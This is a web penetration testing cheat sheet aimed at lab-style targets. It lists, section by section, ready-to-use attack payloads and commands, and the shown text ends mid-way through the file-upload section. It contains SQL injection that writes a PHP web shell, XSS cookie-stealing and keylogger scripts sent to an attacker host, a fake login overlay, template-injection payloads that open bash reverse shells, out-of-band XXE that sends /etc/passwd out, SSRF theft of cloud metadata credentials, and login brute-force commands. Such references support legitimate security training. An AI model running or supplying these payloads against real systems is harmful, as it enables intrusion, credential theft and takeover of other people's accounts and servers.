~/cheatsheets/Web Penetration Testing
Web OWASP Top 10

📋 TABLE OF CONTENTS
  1. Environment Setup & Tools
  2. Phase 1 — Reconnaissance & Mapping
  3. Phase 2 — Authentication Attacks
  4. A01 — Broken Access Control
  5. A02 — Cryptographic Failures
  6. A03 — SQL Injection
  7. A04 — NoSQL / Other Injection
  8. A05 — Security Misconfiguration
  9. A06 — XSS (Cross-Site Scripting)
  10. A07 — SSRF (Server-Side Request Forgery)
  11. A08 — SSTI (Server-Side Template Injection)
  12. A09 — XXE (XML External Entity)
  13. A10 — File Upload Attacks
  14. A11 — LFI / Path Traversal / RFI
  15. A12 — Command Injection
  16. A13 — Insecure Deserialization
  17. A14 — JWT Attacks
  18. A15 — OAuth & OIDC Attacks
  19. A16 — CSRF
  20. A17 — WebSockets Attacks
  21. A18 — GraphQL Attacks
  22. A19 — API Security Testing
  23. A20 — Race Conditions
  24. A21 — HTTP Request Smuggling
  25. A22 — CORS Misconfigurations
  26. A23 — Prototype Pollution
  27. A24 — LDAP Injection
  28. A25 — Web Cache Poisoning
  29. Post-Exploitation — Web Shell & Pivot
  30. Tools Quick Reference

🛠️ Environment Setup & Tools
bash
# Variables export URL="http://target.htb" export IP=10.10.11.XXX export LHOST=10.10.14.XXX export LPORT=4444 # /etc/hosts echo "$IP target.htb" >> /etc/hosts # Burp Suite — proxy everything # Browser: 127.0.0.1:8080 # CA cert: http://burpsuite/ # Essential tools check which ffuf gobuster feroxbuster sqlmap nikto wfuzz curl httpx # Install missing pip3 install sqlmap apt install ffuf gobuster feroxbuster nikto wfuzz

Burp Suite Essentials

bash
# Intercept toggle: Proxy → Intercept → On/Off # Repeater: Ctrl+R (send request to Repeater) # Intruder: Ctrl+I (send to Intruder for fuzzing) # Scanner: Right-click → Scan # Decoder: Ctrl+Shift+D # Comparer: Ctrl+Shift+C # Search in history: Proxy → HTTP History → Filter # Must-have extensions (BApp Store): # - Param Miner (hidden params discovery) # - JWT Editor (JWT attacks) # - Turbo Intruder (race conditions, fast fuzzing) # - SQLiPy (SQLMap integration) # - Active Scan++ (better scanner) # - Retire.js (outdated JS libraries) # - Upload Scanner (file upload attacks) # - Hackvertor (encoding chains) # - Autorize (access control testing)

Phase 1 — Reconnaissance & Mapping

1.1 Technology Fingerprinting

bash
# Wappalyzer (browser extension) — auto-detect stack # Or manual: curl -I $URL # headers: Server, X-Powered-By, Set-Cookie curl -s $URL | grep -i "generator\|powered\|framework\|version" # WhatWeb whatweb $URL whatweb -v $URL whatweb -a 4 $URL # aggressive # httpx echo $URL | httpx -tech-detect -title -status-code -content-length # Nikto (quick vuln scan) nikto -h $URL nikto -h $URL -ssl # HTTPS # Check robots.txt and sitemap curl $URL/robots.txt curl $URL/sitemap.xml curl $URL/sitemap_index.xml

1.2 Directory & File Fuzzing

bash
# ffuf — best overall ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -t 100 ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -t 100 ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e .php,.html,.txt,.bak,.old,.zip,.tar.gz -t 100 ffuf -u $URL/FUZZ -w wordlist.txt -mc 200,201,301,302,403 -fc 404 -fs 0 # Filter by size / words / lines ffuf -u $URL/FUZZ -w wordlist.txt -fs 1234 # filter size ffuf -u $URL/FUZZ -w wordlist.txt -fw 10 # filter word count ffuf -u $URL/FUZZ -w wordlist.txt -fl 50 # filter line count ffuf -u $URL/FUZZ -w wordlist.txt -fc 302 # filter redirect # Feroxbuster (recursive auto) feroxbuster -u $URL -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x php,html,txt,bak -t 100 feroxbuster -u $URL -w wordlist.txt --depth 3 -x php,aspx,html # Gobuster gobuster dir -u $URL -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x php,txt,html -t 50 gobuster dir -u $URL -w wordlist.txt -b 404,403 # blacklist status codes # IIS-specific ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/SVNDigger/all.txt # Backup files ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/backup-filenames.txt

1.3 Subdomain & Vhost Fuzzing

bash
# Subdomain enumeration ffuf -u http://FUZZ.target.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 100 gobuster dns -d target.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 50 amass enum -d target.htb # Vhost fuzzing (different Host header, same IP) ffuf -u $URL -H "Host: FUZZ.target.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs [baseline_size] -t 100 gobuster vhost -u http://target.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain # After finding vhosts, add to /etc/hosts and enumerate each

1.4 Parameter Discovery

bash
# Arjun — hidden parameter discovery arjun -u $URL/page.php arjun -u $URL/page.php -m POST arjun -u $URL/api/endpoint -m JSON arjun -u $URL -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt # ffuf — parameter fuzzing ffuf -u "$URL/page.php?FUZZ=test" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0 ffuf -u "$URL/page.php?id=FUZZ" -w /usr/share/seclists/Fuzzing/Integers.fuzz.txt # Param Miner (Burp extension) — auto finds hidden params # JS file analysis # Find all JS files ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -e .js # Extract endpoints from JS curl -s $URL/app.js | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" curl -s $URL/app.js | grep -Eo '\"\/[a-zA-Z0-9_/.-]*\"' | tr -d '"' # LinkFinder python3 linkfinder.py -i $URL -d -o cli

1.5 Source Code Review

bash
# View page source curl -s $URL | grep -i "comment\|todo\|fixme\|hack\|password\|key\|secret\|api" curl -s $URL | grep -i "<!--" # HTML comments # .git exposure curl $URL/.git/HEAD git-dumper $URL/.git ./dumped_repo # Then: git log, git diff, grep -r password # Other exposed files curl $URL/.env curl $URL/.env.local curl $URL/.env.backup curl $URL/config.php curl $URL/config.js curl $URL/wp-config.php curl $URL/settings.py curl $URL/database.yml curl $URL/appsettings.json curl $URL/.htaccess curl $URL/web.config curl $URL/phpinfo.php curl $URL/info.php

Phase 2 — Authentication Attacks

2.1 Brute Force & Credential Stuffing

bash
# Hydra — HTTP form POST hydra -l admin -P /usr/share/wordlists/rockyou.txt $IP http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials" -V hydra -L users.txt -P /usr/share/wordlists/rockyou.txt $IP http-post-form "/login:user=^USER^&pass=^PASS^:F=Login failed" # Hydra — HTTP GET form hydra -l admin -P /usr/share/wordlists/rockyou.txt $IP http-get-form "/login:user=^USER^&pass=^PASS^:F=incorrect" # Hydra — HTTP basic auth hydra -l admin -P /usr/share/wordlists/rockyou.txt $IP http-get /admin/ # ffuf — login brute force ffuf -u $URL/login -X POST -d "username=admin&password=FUZZ" -w /usr/share/wordlists/rockyou.txt -fc 302 -t 50 # Username enumeration (different response size/time) ffuf -u $URL/login -X POST -d "username=FUZZ&password=wrongpass" -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -fs [valid_size] # Medusa medusa -h $IP -U users.txt -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/login -m FORM:username=&password= -m DENY:Invalid # Default credentials to always try admin:admin admin:password admin:admin123 admin:123456 administrator:administrator root:root guest:guest test:test

2.2 Password Reset Flaws

bash
# Token predictability — collect multiple tokens, check entropy # Check if token is timestamp-based, sequential, or MD5 of email # Host header injection in password reset # Change Host header to your server, intercept reset link POST /forgot-password Host: $LHOST ← inject your server email=victim@target.com # If vulnerable, reset link will point to your server # Parameter pollution POST /forgot-password email=victim@target.com&email=attacker@attacker.com # Token reuse — is token invalidated after use? # Token scope — does token for one user work for another? # Response manipulation — change "false" to "true" in OTP verification response

2.3 MFA Bypass

bash
# Skip MFA step entirely — after first factor, directly access protected resource # Response manipulation POST /verify-otp {"otp": "000000"} # If response: {"valid": false} → change to {"valid": true} in Burp → forward # Code reuse — try previously used OTP # Brute force OTP (4-6 digits) ffuf -u $URL/verify -X POST -d '{"otp":"FUZZ"}' -H "Content-Type: application/json" -w /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt # Backup code abuse — try common backup codes: 00000000, 12345678 # Account takeover via MFA — if email is changeable before MFA step

A01 — Broken Access Control

IDOR (Insecure Direct Object Reference)

bash
# Change ID in URL / body / header GET /api/user/1337/profile → try /api/user/1/profile (admin) GET /api/orders/1337 → try /api/orders/1 # GUIDs — not random? Predict or brute force GET /api/user/550e8400-e29b-41d4-a716-446655440000 # Parameter pollution GET /api/profile?user_id=attacker_id&user_id=victim_id # JSON body IDOR {"user_id": 1337} → change to {"user_id": 1} # Hidden parameters (X-User-Id, X-Account-Id headers) X-User-ID: 1 # Mass assignment / auto-binding POST /api/user/update {"username":"attacker","is_admin":true,"role":"admin"} # Blind IDOR — no visible data, but behavior changes (different response time, different error)

Privilege Escalation

bash
# Horizontal → access other user's resources # Vertical → access higher privilege functions # Function-level access control GET /admin/users → 403 GET /ADMIN/users → 200? (case) GET /admin/users/ → 200? (trailing slash) GET /admin%2fusers → 200? (URL encoding) GET /./admin/./users → 200? (path traversal) GET /api/v1/admin/users → 403 GET /api/v2/admin/users → 200? (old version) GET /api/admin/users → 403 GET /api/admin-users → 200? (different endpoint) # HTTP method override POST /admin/delete X-HTTP-Method-Override: GET # Referer-based access control Referer: http://target.htb/admin # Forced browsing — enumerate admin paths ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common-admin-filenames.txt

JWT Role Tampering (see also A14)

bash
# Decode JWT payload echo "PAYLOAD_BASE64" | base64 -d # Change "role":"user" to "role":"admin" # Re-encode and sign with None algorithm or known secret

A02 — Cryptographic Failures

Sensitive Data Exposure

bash
# Check HTTPS enforcement curl -I http://$URL # should redirect to HTTPS # Check HSTS header curl -I https://$URL | grep Strict-Transport # SSL/TLS issues testssl.sh $URL sslscan $URL nmap --script ssl-enum-ciphers -p 443 $IP # Weak ciphers, expired certs, self-signed certs openssl s_client -connect $IP:443 # Check for sensitive data in: # Response headers (debug info, stack traces) # HTML comments # JavaScript files (API keys, passwords) # Error messages (database errors, file paths) # Logs accessible via LFI

Insecure Cryptography

bash
# Identify hash types hash-identifier <hash> hashid <hash> # Crack weak hashes hashcat -m 0 md5.txt rockyou.txt # MD5 hashcat -m 100 sha1.txt rockyou.txt # SHA1 john hash.txt --wordlist=rockyou.txt # ECB mode block manipulation # If encrypted data is in blocks of 16 bytes and you can control input: # Insert padding to align sensitive data at block boundary # Swap cipher blocks to modify meaning # Padding oracle attack python3 padbuster.py $URL/decrypt?data=CIPHERTEXT 8 -encoding 0 # CBC bit-flipping # Flip bits in previous cipher block to modify next plaintext block # Position: byte to flip = target_byte XOR known_plaintext XOR desired_plaintext

A03 — SQL Injection

Detection

bash
# Error-based detection — inject these and look for DB errors ' '' ` ') ")) ' OR '1'='1 ' OR 1=1-- " OR 1=1-- ' OR 'x'='x 1' ORDER BY 1-- 1' ORDER BY 100-- (error = number of columns exceeded) 1 WAITFOR DELAY '0:0:5'-- (MSSQL time-based) 1' AND SLEEP(5)-- (MySQL time-based) 1' AND 1=1-- (boolean true) 1' AND 1=2-- (boolean false — different response)

Manual Exploitation

bash
# Step 1: Find number of columns ' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- # error here = 2 columns # Step 2: Find visible columns (UNION) ' UNION SELECT NULL,NULL-- ' UNION SELECT 'a',NULL-- ' UNION SELECT NULL,'a'-- # Step 3: Extract DB info ' UNION SELECT version(),NULL-- # MySQL ' UNION SELECT @@version,NULL-- # MSSQL ' UNION SELECT banner,NULL FROM v$version-- # Oracle # Extract database name ' UNION SELECT database(),NULL-- # MySQL ' UNION SELECT DB_NAME(),NULL-- # MSSQL # Extract tables ' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- # MSSQL: ' UNION SELECT table_name,NULL FROM information_schema.tables-- # Extract columns ' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- # Extract data ' UNION SELECT username,password FROM users-- ' UNION SELECT username||':'||password,NULL FROM users-- # concat (Oracle/PostgreSQL) ' UNION SELECT CONCAT(username,':',password),NULL FROM users-- # MySQL # Read files (MySQL) ' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- # Write files (MySQL — if FILE priv + writable path) ' UNION SELECT '<?php system($_GET[\"cmd\"]); ?>',NULL INTO OUTFILE '/var/www/html/shell.php'--

SQLMap

bash
# Basic sqlmap -u "$URL/page?id=1" --dbs sqlmap -u "$URL/page?id=1" -D dbname --tables sqlmap -u "$URL/page?id=1" -D dbname -T users --dump # POST request sqlmap -u "$URL/login" --data="username=admin&password=test" --dbs # From Burp request file sqlmap -r request.txt --dbs sqlmap -r request.txt -D dbname -T users --dump # With cookies sqlmap -u "$URL/page" --cookie="PHPSESSID=abc123" --dbs # JSON body sqlmap -u "$URL/api/search" --data='{"id":1}' --headers="Content-Type: application/json" --dbs # Level / Risk (higher = more tests, more intrusive) sqlmap -r request.txt --level=5 --risk=3 --dbs # Specify DBMS sqlmap -r request.txt --dbms=mysql --dbs sqlmap -r request.txt --dbms=mssql --dbs sqlmap -r request.txt --dbms=postgresql --dbs # Techniques sqlmap -r request.txt --technique=BEUSTQ # all techniques sqlmap -r request.txt --technique=T # time-based only (blind) sqlmap -r request.txt --technique=B # boolean only (blind) sqlmap -r request.txt --technique=U # UNION only # File operations sqlmap -r request.txt --file-read=/etc/passwd sqlmap -r request.txt --file-write=shell.php --file-dest=/var/www/html/shell.php # OS shell sqlmap -r request.txt --os-shell # Tamper scripts (WAF bypass) sqlmap -r request.txt --tamper=space2comment,between --dbs sqlmap -r request.txt --tamper=randomcase --dbs # Common tamper scripts: # space2comment — replace spaces with /**/ # between — replace > with BETWEEN # randomcase — RaNdOmCaSe keywords # base64encode — base64 encode # charencode — URL encode chars # equaltolike — = to LIKE # greatest — > to GREATEST()

Blind SQLi — Manual

bash
# Boolean-based ' AND SUBSTRING(password,1,1)='a'-- # first char of password is 'a'? ' AND ASCII(SUBSTRING(password,1,1))>64-- # binary search on ASCII # Time-based ' AND SLEEP(5)-- # MySQL ' AND IF(1=1,SLEEP(5),0)-- # MySQL conditional '; WAITFOR DELAY '0:0:5'-- # MSSQL ' AND 1=1; SELECT SLEEP(5)-- # Out-of-band (OOB) — trigger DNS/HTTP to your server ' AND LOAD_FILE(CONCAT('\\\\',database(),'.burpcollaborator.net\\share'))-- # MSSQL: '; EXEC master..xp_dirtree '\\$LHOST\share'--

Second-Order SQLi

bash
# Inject payload in one place (e.g. registration: username = admin'--) # Payload executes when used in a different query (e.g. profile page query) # No immediate output — need to check later pages

A04 — NoSQL / Other Injection

MongoDB / NoSQL Injection

bash
# Authentication bypass # Original: {"username": "admin", "password": "pass"} # Injected: {"username": {"$gt": ""}, "password": {"$gt": ""}} {"username": "admin", "password": {"$ne": "wrongpassword"}} {"username": {"$regex": ".*"}, "password": {"$regex": ".*"}} # URL parameter ?username[$gt]=&password[$gt]= ?username[$regex]=.*&password[$regex]=.* ?username=admin&password[$ne]=invalid # Array injection ?username[]=admin&password[]=password # Data extraction (blind) {"username": "admin", "password": {"$regex": "^a"}} # password starts with 'a'? {"username": "admin", "password": {"$regex": "^ab"}} # password starts with 'ab'? # nosqli tool nosqli -u "$URL/login" -p "username=admin&password=FUZZ" -f /path/to/payloads.txt

XPath Injection

bash
# Authentication bypass ' or '1'='1 ' or ''=' x' or 1=1 or 'x'='y ' or 1=1]%00 # Data extraction ' or substring(//user[1]/password,1,1)='a ' or string-length(//user[1]/password)=8 # Automated xcat $URL/login username password --true="Welcome" --false="Invalid"

LDAP Injection

bash
# Authentication bypass *)(uid=*))(|(uid=* # classic admin)(&) # admin with anything *)(objectClass=*) # wildcard # Example in URL ?user=admin)(&)&pass=anything ?user=*)(uid=*))(|(uid=* # Data extraction *(|(cn=a*)) # usernames starting with 'a' # Automated python3 ldap-brute.py -u $URL -p "user=INJECT&pass=test"

A05 — Security Misconfiguration

Default Credentials & Admin Panels

bash
# Find admin panels ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common-admin-filenames.txt # Common paths /admin /administrator /admin.php /admin/login /wp-admin /wp-login.php /phpmyadmin /pma /phpMyAdmin /manager/html (Tomcat) /console (JBoss/WildFly) /actuator /actuator/health /actuator/env /actuator/mappings /actuator/heapdump /solr /solr/admin /jenkins /jenkins/login /grafana /kibana /adminer.php /adminer # Default creds to try admin:admin | admin:password | admin:admin123 tomcat:tomcat | tomcat:s3cret | manager:manager root:root | sa: (MSSQL) pi:raspberry (Raspberry Pi)

Debug / Info Disclosure

bash
# Spring Boot Actuator (huge info dump) curl $URL/actuator curl $URL/actuator/env # environment variables, config curl $URL/actuator/heapdump # heap dump → extract passwords curl $URL/actuator/mappings # all routes curl $URL/actuator/beans # all beans curl $URL/actuator/trace # request traces curl $URL/actuator/logfile # logs # Parse heapdump java -jar heapdump_analyzer.jar heapdump strings heapdump | grep -i "password\|secret\|token\|key\|api" # phpinfo() exposure curl $URL/phpinfo.php curl $URL/info.php curl $URL/php_info.php # Error messages leaking paths/stack traces # Submit invalid data and analyze errors # .DS_Store (macOS metadata) curl $URL/.DS_Store python3 ds_store_exp.py $URL/.DS_Store # webpack / source maps curl $URL/static/app.js.map curl $URL/bundle.js.map # Contains original source code

Dangerous HTTP Methods

bash
# Check allowed methods curl -X OPTIONS $URL -v nmap --script http-methods -p 80,443 $IP # PUT — file upload curl -X PUT $URL/shell.php -d '<?php system($_GET["cmd"]); ?>' # DELETE — delete files curl -X DELETE $URL/important.txt # TRACE — reflected XSS via TRACE method curl -X TRACE $URL -H "XSS: <script>alert(1)</script>" -v

A06 — XSS (Cross-Site Scripting)

Detection

bash
# Basic probes <script>alert(1)</script> <img src=x onerror=alert(1)> <svg onload=alert(1)> "><script>alert(1)</script> '><script>alert(1)</script> javascript:alert(1) <iframe src=javascript:alert(1)> # Context-aware payloads # Inside HTML tag attribute: " onmouseover="alert(1) ' onmouseover='alert(1) " autofocus onfocus="alert(1) # Inside JavaScript string: ';alert(1)// \';alert(1)// </script><script>alert(1)</script> # Inside HTML comment: --><script>alert(1)</script> # Dalfox — automated XSS scanner dalfox url "$URL/search?q=test" dalfox url "$URL/search?q=test" --skip-bav # faster dalfox file urls.txt # from file # XSStrike python3 xsstrike.py -u "$URL/page?param=test" python3 xsstrike.py -u "$URL/page" --data "param=test" --blind

Payload Variations (WAF bypass)

bash
# Case variation <ScRiPt>alert(1)</ScRiPt> <SCRIPT>alert(1)</SCRIPT> # Encoding <script>alert(String.fromCharCode(88,83,83))</script> <img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;> <svg><script>alert&lpar;1&rpar;</script> # No parentheses <img src=x onerror=alert`1`> <svg/onload=alert`1`> # Double encoding %253Cscript%253Ealert(1)%253C/script%253E # null byte <%00script>alert(1)</%00script> # Protocol variations <a href="&#106;avascript:alert(1)">click</a> <a href="java&#0;script:alert(1)">click</a> # SVG payloads <svg><animate onbegin=alert(1) attributeName=x></svg> <svg><set attributeName=onmouseover to=alert(1)></svg> <math><mstyle><mrow><msub><mi id="a">X</mi><mo id="b" onmouseover="eval(id.a.textContent+id.c.textContent)">alert(1)</mo></msub><mi id="c"></mi></mrow></mstyle></math>

Exploitation

bash
# Cookie theft — serve a collector python3 -m http.server 80 <script>new Image().src='http://$LHOST/?c='+document.cookie</script> <script>fetch('http://$LHOST/?c='+btoa(document.cookie))</script> <img src="x" onerror="this.src='http://$LHOST/?c='+document.cookie"> # Stored XSS → session hijack # 1. Inject payload in stored field (comment, profile, etc.) # 2. When admin views it, cookie is sent to you # 3. Use cookie in Burp → access admin panel # Keylogger <script>document.onkeypress=function(e){fetch('http://$LHOST/?k='+btoa(e.key))}</script> # Phishing overlay <script>document.body.innerHTML='<form action="http://$LHOST/steal">Username: <input name=u><br>Password: <input type=password name=p><br><input type=submit></form>'</script> # XSS to CSRF (steal CSRF token + perform action) <script> fetch('/account/settings').then(r=>r.text()).then(html=>{ var token = html.match(/csrf_token.*?value="(.*?)"/)[1]; fetch('/account/delete',{method:'POST',body:'csrf_token='+token,headers:{'Content-Type':'application/x-www-form-urlencoded'}}); }); </script> # DOM-based XSS sources document.URL / document.location / location.hash / location.search document.referrer / window.name localStorage / sessionStorage # DOM-based XSS sinks document.write() / document.writeln() innerHTML / outerHTML eval() / setTimeout() / setInterval() location / location.href / location.replace()

Blind XSS

bash
# Use XSS Hunter or your own server # Payload sends full page + cookies to your server when triggered <script src="https://xsshunter.com/payload.js"></script> # Manual blind XSS payload (collect cookies + page content) <script> var x=new XMLHttpRequest(); x.open('GET','http://$LHOST/?cookie='+btoa(document.cookie)+'&url='+btoa(document.location.href),true); x.send(); </script> # Host your payload externally for shorter injection <script src=http://$LHOST/xss.js></script>

A07 — SSRF (Server-Side Request Forgery)

Detection & Basic Exploitation

bash
# Identify SSRF parameters # Look for: url=, redirect=, path=, endpoint=, image=, load=, fetch=, host=, dest= # Basic test — point to your server curl "$URL/fetch?url=http://$LHOST/" curl "$URL/image?src=http://$LHOST/" # Internal port scan via SSRF for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200; do curl -s "$URL/fetch?url=http://127.0.0.1:$port/" -m 2 && echo "Port $port open" done # Read internal metadata curl "$URL/fetch?url=http://127.0.0.1/" curl "$URL/fetch?url=http://localhost/" curl "$URL/fetch?url=http://[::1]/" curl "$URL/fetch?url=http://0.0.0.0/" curl "$URL/fetch?url=http://0/" # Cloud metadata curl "$URL/fetch?url=http://169.254.169.254/latest/meta-data/" # AWS curl "$URL/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" curl "$URL/fetch?url=http://metadata.google.internal/computeMetadata/v1/" # GCP curl "$URL/fetch?url=http://169.254.169.254/metadata/v1/" # DigitalOcean curl "$URL/fetch?url=http://169.254.169.254/metadata/instance" # Azure

SSRF Bypass Techniques

bash
# IP representation bypass http://2130706433/ # decimal of 127.0.0.1 http://0x7f000001/ # hex http://0177.0000.0000.0001/ # octal http://127.1/ # short form http://127.000.000.001/ # URL scheme abuse file:///etc/passwd # read local files dict://localhost:11211/stat # memcached gopher://localhost:6379/_INFO # Redis ftp://localhost:21/ # DNS rebinding # Register a domain that resolves to external IP, then rebinds to 127.0.0.1 # Redirect bypass # Set up your server to redirect to internal address # http://$LHOST/redirect → 302 → http://127.0.0.1:80/ # Unicode/encoding bypass http://ⓛⓞⓒⓐⓛⓗⓞⓢⓣ/ http://127.0.0.1%25.google.com/ # Double URL encoding http://%31%32%37%2E%30%2E%30%2E%31/ # Whitelisted domain bypass http://allowed.domain.com@127.0.0.1/ http://127.0.0.1#allowed.domain.com http://allowed.domain.com.attacker.com/ # if only prefix checked

SSRF → RCE Scenarios

bash
# Redis via SSRF (Gopher protocol) gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A... # SSRF to AWS metadata → credentials → further access curl "$URL/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name" # Extract: AccessKeyId, SecretAccessKey, Token # Use with AWS CLI: AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=... aws s3 ls # SSRF → internal admin panel → account takeover curl "$URL/fetch?url=http://127.0.0.1:8080/admin/createUser?username=attacker&role=admin" # SSRF → Elasticsearch (no auth) curl "$URL/fetch?url=http://127.0.0.1:9200/_cat/indices" curl "$URL/fetch?url=http://127.0.0.1:9200/index/_search"

A08 — SSTI (Server-Side Template Injection)

Detection

bash
# Universal detection payloads — inject and check if expression is evaluated {{7*7}} → 49 ? (Jinja2, Twig, Nunjucks) ${7*7} → 49 ? (FreeMarker, Thymeleaf, Mako) <%= 7*7 %> → 49 ? (ERB, EJS) #{7*7} → 49 ? (Ruby, Pebble) *{7*7} → 49 ? (Spring Expression Language) ${7*'7'} → 7777777 ? (Jinja2) {{7*'7'}} → 49 or 7777777 (tells Jinja2 vs Twig) {7*7} → 49 ? (Smarty) ${{7*7}} → 49 ? (some engines) # Tplmap — automated SSTI scanner + exploitation python3 tplmap.py -u "$URL/page?name=test" python3 tplmap.py -u "$URL/page" --data "name=test" python3 tplmap.py -u "$URL/page?name=test" --os-shell python3 tplmap.py -u "$URL/page?name=test" --os-cmd "id"

Jinja2 (Python — Flask, Django)

python
# Basic RCE {{config.__class__.__init__.__globals__['os'].popen('id').read()}} {{''.__class__.__mro__[1].__subclasses__()}} # Find index of subprocess.Popen {{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}} # Safer — find os module dynamically {% for x in ''.__class__.__mro__[1].__subclasses__() %} {% if 'warning' in x.__name__ %} {{x()._module.__builtins__['__import__']('os').popen('id').read()}} {% endif %} {% endfor %} # config dump (Flask) {{config}} {{config.items()}} # Globals dump {{self.__dict__}} {{g}} # File read {{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} # Reverse shell {{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"').read()}}

Twig (PHP — Symfony, Laravel)

php
# RCE {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}} # Filter-based RCE {{"id"|filter("system")}} {{"id"|exec}} {{["id"]|filter("system")}} # Reverse shell {{"bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"|system}}

FreeMarker (Java)

java
// RCE <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} ${\"freemarker.template.utility.Execute\"?new()(\"id\")} // Read file ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(',')}

ERB (Ruby — Rails)

ruby
# RCE <%= system("id") %> <%= `id` %> <%= IO.popen('id').read %> # Reverse shell <%= IO.popen('bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"').read %>

Smarty (PHP)

php
{system('id')} {php}echo shell_exec('id');{/php} {"id"|system}

Pebble / Velocity (Java)

java
// Pebble {% set cmd = "id" %} {% set exec = "java.lang.Runtime".asInstance().exec(cmd) %} // Velocity #set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke($e.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")

A09 — XXE (XML External Entity)

Basic XXE

xml
<!-- Read local file --> <?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root><data>&xxe;</data></root> <!-- Read /etc/shadow --> <?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/shadow">]> <root><data>&xxe;</data></root> <!-- SSRF via XXE --> <?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://$LHOST/">]> <root><data>&xxe;</data></root> <!-- Read files with PHP wrapper --> <?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]> <root><data>&xxe;</data></root>

Blind XXE (OOB — Out-of-Band)

bash
# Set up listener first python3 -m http.server 80 # Or: nc -lvnp 80 # DTD file on your server (xxe.dtd): cat > xxe.dtd << 'EOF' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://$LHOST/?f=%file;'>"> %eval; %exfil; EOF # XXE payload pointing to your DTD <?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY % remote SYSTEM "http://$LHOST/xxe.dtd"> %remote;]> <root><data>test</data></root>

XXE via File Uploads

bash
# SVG file XXE cat > xxe.svg << 'EOF' <?xml version="1.0" standalone="yes"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <svg xmlns="http://www.w3.org/2000/svg" width="500" height="500"> <text y="20">&xxe;</text> </svg> EOF # Upload xxe.svg, then view the image — file content rendered as text # DOCX/XLSX XXE # These are ZIP archives. Modify word/document.xml to add XXE, rezip. mkdir docx && cd docx cp ../file.docx . unzip file.docx # Edit word/document.xml — add XXE entity at top zip -r ../malicious.docx .

XXE in JSON → XML Conversion

bash
# If app converts JSON to XML internally # Change Content-Type: application/json → text/xml # Resend with XML body containing XXE

A10 — File Upload Attacks

Extension Bypass

bash
# PHP variants (try all) shell.php shell.php3 shell.php4 shell.php5 shell.php7 shell.php8 shell.phtml shell.phtm shell.phar shell.phpt shell.pgif shell.shtml shell.cgi # Case bypass shell.pHp shell.PHP shell.PhP # Double extension shell.jpg.php shell.php.jpg shell.php.gif # Special characters shell.php%00.jpg # null byte (PHP < 5.5) shell.php%20 # space shell.php. # trailing dot (Windows) shell.php::$DATA # Windows ADS # ASP/ASPX shell.asp shell.aspx shell.asa shell.ashx shell.asmx shell.cer shell.soap # JSP shell.jsp shell.jspx shell.jsw shell.jsv shell.jspf shell.jtml # Other interpreted shell.pl shell.py shell.rb shell.sh shell.cgi

Magic Bytes & MIME Bypass

bash
